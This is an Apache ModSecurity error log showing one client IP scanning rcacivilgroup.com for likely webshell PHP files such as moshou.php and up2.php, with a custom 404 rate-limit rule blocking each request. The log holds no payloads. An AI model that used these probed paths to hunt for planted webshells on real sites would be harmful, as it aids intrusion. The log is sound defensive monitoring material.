[Sun May 03 08:41:24.847830 2026] [:error] [pid 37127:tid 37202] [client 20.151.130.38:61854] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afaZtP8khJXb5O5aWVXiDQAAAFE"]
[Sun May 03 08:41:25.259760 2026] [:error] [pid 40386:tid 40399] [client 20.151.130.38:62478] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afaZtVHJDYRXUf3IbRTiMwAAAMs"]
[Sun May 03 08:41:25.732538 2026] [:error] [pid 37126:tid 37163] [client 20.151.130.38:65435] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afaZtfR_A42N-LtDyrvi7wAAAAo"]
[Sun May 03 08:41:26.145978 2026] [:error] [pid 40386:tid 40410] [client 20.151.130.38:65425] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afaZtlHJDYRXUf3IbRTiNQAAANY"]
[Sun May 03 08:41:26.558598 2026] [:error] [pid 40386:tid 40406] [client 20.151.130.38:62590] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afaZtlHJDYRXUf3IbRTiNwAAANI"]
[Sun May 03 08:41:26.981960 2026] [:error] [pid 40456:tid 40472] [client 20.151.130.38:62523] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "afaZtjSujTvwdzEkjSfgswAAAY4"]
[Sun May 03 08:41:27.400532 2026] [:error] [pid 37127:tid 37187] [client 20.151.130.38:64788] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afaZt_8khJXb5O5aWVXiEAAAAEM"]
[Sun May 03 08:41:27.834597 2026] [:error] [pid 40456:tid 40473] [client 20.151.130.38:62475] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "afaZtzSujTvwdzEkjSfgtgAAAY8"]
[Sun May 03 08:41:37.255721 2026] [autoindex:error] [pid 37127:tid 37200] [client 20.151.130.38:65510] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 08:41:41.696495 2026] [:error] [pid 37127:tid 37205] [client 20.151.130.38:65510] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afaZxf8khJXb5O5aWVXiKAAAAFM"]
[Sun May 03 08:41:42.112530 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:64865] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afaZxjSujTvwdzEkjSfg9AAAAZc"]
[Sun May 03 08:41:42.527687 2026] [:error] [pid 40456:tid 40467] [client 20.151.130.38:65523] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afaZxjSujTvwdzEkjSfg-AAAAYk"]
[Sun May 03 08:41:42.957081 2026] [:error] [pid 37130:tid 37230] [client 20.151.130.38:64839] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afaZxqIu7bmXKXicRk84kwAAAJE"]
[Sun May 03 08:41:43.370755 2026] [:error] [pid 37130:tid 37220] [client 20.151.130.38:61898] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afaZx6Iu7bmXKXicRk84lQAAAIc"]
[Sun May 03 08:41:43.787987 2026] [:error] [pid 37130:tid 37234] [client 20.151.130.38:64892] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afaZx6Iu7bmXKXicRk84lwAAAJU"]
[Sun May 03 08:41:44.219739 2026] [:error] [pid 37246:tid 37257] [client 20.151.130.38:65521] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afaZyDhvYFGNwhnPamqBMAAAAQk"]
[Sun May 03 08:41:44.635625 2026] [:error] [pid 37126:tid 37168] [client 20.151.130.38:62512] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afaZyPR_A42N-LtDyrvi_QAAAA8"]
[Sun May 03 08:41:45.108488 2026] [:error] [pid 37246:tid 37261] [client 20.151.130.38:62571] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afaZyThvYFGNwhnPamqBMwAAAQs"]
[Sun May 03 08:41:45.528596 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:61931] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afaZyThvYFGNwhnPamqBNAAAAQ8"]
[Sun May 03 08:41:45.946938 2026] [:error] [pid 37246:tid 37249] [client 20.151.130.38:64875] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afaZyThvYFGNwhnPamqBOAAAAQE"]
[Sun May 03 08:41:46.376685 2026] [:error] [pid 37126:tid 37174] [client 20.151.130.38:61310] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afaZyvR_A42N-LtDyrvjAAAAABU"]
[Sun May 03 08:41:46.791999 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:64890] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afaZyjhvYFGNwhnPamqBOwAAARA"]
[Sun May 03 08:41:47.230197 2026] [:error] [pid 37126:tid 37165] [client 20.151.130.38:62518] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afaZy_R_A42N-LtDyrvjBAAAAAw"]
[Sun May 03 08:41:47.659532 2026] [:error] [pid 37126:tid 37169] [client 20.151.130.38:62485] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afaZy_R_A42N-LtDyrvjBgAAABA"]
[Sun May 03 08:41:48.074278 2026] [:error] [pid 37246:tid 37268] [client 20.151.130.38:65454] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afaZzDhvYFGNwhnPamqBPgAAARI"]
[Sun May 03 08:41:48.489613 2026] [:error] [pid 40386:tid 40410] [client 20.151.130.38:62544] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afaZzFHJDYRXUf3IbRTiQAAAANY"]
[Sun May 03 08:41:48.932826 2026] [:error] [pid 40386:tid 40403] [client 20.151.130.38:62493] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afaZzFHJDYRXUf3IbRTiQwAAAM8"]
[Sun May 03 08:41:49.355026 2026] [:error] [pid 40386:tid 40396] [client 20.151.130.38:61270] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afaZzVHJDYRXUf3IbRTiRQAAAMg"]
[Sun May 03 08:41:49.768686 2026] [:error] [pid 40386:tid 40395] [client 20.151.130.38:62510] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afaZzVHJDYRXUf3IbRTiRgAAAMc"]
[Sun May 03 08:41:50.250421 2026] [:error] [pid 37130:tid 37227] [client 20.151.130.38:65454] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afaZzqIu7bmXKXicRk84oAAAAI4"]
[Sun May 03 08:41:50.666001 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:64845] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afaZzjhvYFGNwhnPamqBSQAAAQ8"]
[Sun May 03 08:41:51.086889 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:65431] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afaZzzhvYFGNwhnPamqBTQAAARA"]
[Sun May 03 08:41:51.501717 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:64849] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afaZzzhvYFGNwhnPamqBUgAAAQY"]
[Sun May 03 08:41:51.919479 2026] [:error] [pid 37246:tid 37248] [client 20.151.130.38:61287] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afaZzzhvYFGNwhnPamqBVgAAAQA"]
[Sun May 03 08:41:52.339727 2026] [:error] [pid 40422:tid 40427] [client 20.151.130.38:65480] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afaZ0EHBbBLrXh6PBuuNHQAAAUE"]
[Sun May 03 08:41:52.760794 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:65495] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afaZ0EHBbBLrXh6PBuuNHwAAAU0"]
[Sun May 03 08:41:53.195835 2026] [:error] [pid 40456:tid 40466] [client 20.151.130.38:62492] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afaZ0TSujTvwdzEkjSfhBwAAAYg"]
[Sun May 03 08:41:53.609145 2026] [:error] [pid 37130:tid 37236] [client 20.151.130.38:64828] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afaZ0aIu7bmXKXicRk84owAAAJc"]
[Sun May 03 08:41:54.022471 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:64826] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afaZ0kHBbBLrXh6PBuuNIgAAAU4"]
[Sun May 03 08:41:54.446718 2026] [:error] [pid 40422:tid 40434] [client 20.151.130.38:62587] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afaZ0kHBbBLrXh6PBuuNJAAAAUg"]
[Sun May 03 08:41:54.872027 2026] [:error] [pid 40422:tid 40430] [client 20.151.130.38:64877] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afaZ0kHBbBLrXh6PBuuNKQAAAUQ"]
[Sun May 03 08:41:55.364817 2026] [:error] [pid 40422:tid 40429] [client 20.151.130.38:65440] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afaZ00HBbBLrXh6PBuuNLAAAAUM"]
[Sun May 03 08:41:55.783208 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:62474] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afaZ00HBbBLrXh6PBuuNLwAAAUo"]
[Sun May 03 08:41:56.205224 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:60520] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afaZ1EHBbBLrXh6PBuuNMwAAAU0"]
[Sun May 03 08:41:56.620436 2026] [:error] [pid 37126:tid 37164] [client 20.151.130.38:65409] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afaZ1PR_A42N-LtDyrvjDQAAAAs"]
[Sun May 03 08:41:57.046995 2026] [:error] [pid 40456:tid 40477] [client 20.151.130.38:62577] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afaZ1TSujTvwdzEkjSfhDQAAAZM"]
[Sun May 03 08:41:57.481416 2026] [:error] [pid 37127:tid 37201] [client 20.151.130.38:65466] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afaZ1f8khJXb5O5aWVXiKgAAAFA"]
[Sun May 03 08:41:57.894327 2026] [:error] [pid 37130:tid 37234] [client 20.151.130.38:64855] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afaZ1aIu7bmXKXicRk84pQAAAJU"]
[Sun May 03 08:41:58.305983 2026] [:error] [pid 37126:tid 37175] [client 20.151.130.38:61837] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afaZ1vR_A42N-LtDyrvjEwAAABY"]
[Sun May 03 08:41:58.721627 2026] [:error] [pid 40456:tid 40460] [client 20.151.130.38:64862] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xeaq.php"] [unique_id "afaZ1jSujTvwdzEkjSfhEQAAAYI"]
[Sun May 03 08:41:59.149865 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:64870] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xeaq.php"] [unique_id "afaZ10HBbBLrXh6PBuuNNgAAAUI"]
[Sun May 03 08:41:59.582851 2026] [:error] [pid 37130:tid 37214] [client 20.151.130.38:62522] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xeaq.php"] [unique_id "afaZ16Iu7bmXKXicRk84pgAAAIE"]
[Sun May 03 08:41:59.995800 2026] [:error] [pid 40456:tid 40473] [client 20.151.130.38:62514] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xeaq.php"] [unique_id "afaZ1zSujTvwdzEkjSfhFQAAAY8"]
[Sun May 03 08:42:00.443531 2026] [:error] [pid 40456:tid 40476] [client 20.151.130.38:65447] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up2.php"] [unique_id "afaZ2DSujTvwdzEkjSfhGAAAAZI"]
[Sun May 03 08:42:00.859413 2026] [:error] [pid 40456:tid 40465] [client 20.151.130.38:64797] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up2.php"] [unique_id "afaZ2DSujTvwdzEkjSfhGwAAAYc"]
[Sun May 03 08:42:01.276892 2026] [:error] [pid 37126:tid 37163] [client 20.151.130.38:61840] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up2.php"] [unique_id "afaZ2fR_A42N-LtDyrvjGAAAAAo"]
[Sun May 03 08:42:01.710545 2026] [:error] [pid 40456:tid 40475] [client 20.151.130.38:64850] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up2.php"] [unique_id "afaZ2TSujTvwdzEkjSfhHgAAAZE"]
